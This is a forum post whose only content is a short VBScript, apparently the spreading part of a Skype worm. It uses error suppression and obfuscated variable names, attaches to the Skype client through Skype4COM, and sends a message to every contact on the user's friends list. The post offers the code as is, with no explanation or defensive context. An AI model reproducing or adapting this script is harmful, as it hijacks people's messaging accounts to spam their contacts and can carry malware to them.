leeway
New Member
- Joined
- Jan 24, 2009
- Messages
- 512
- Reaction score
- 43
Code:
on error resume next
set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
set uDlVA = wscript.createobject("wscript.shell")
set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
yADAl.Client.Start()
yADAl.Attach()
For Each GAG In yADAl.Friends
yADAl.SendMessage GAG.Handle, "[COLOR="Olive"]Туке пишеш..[/COLOR]"
next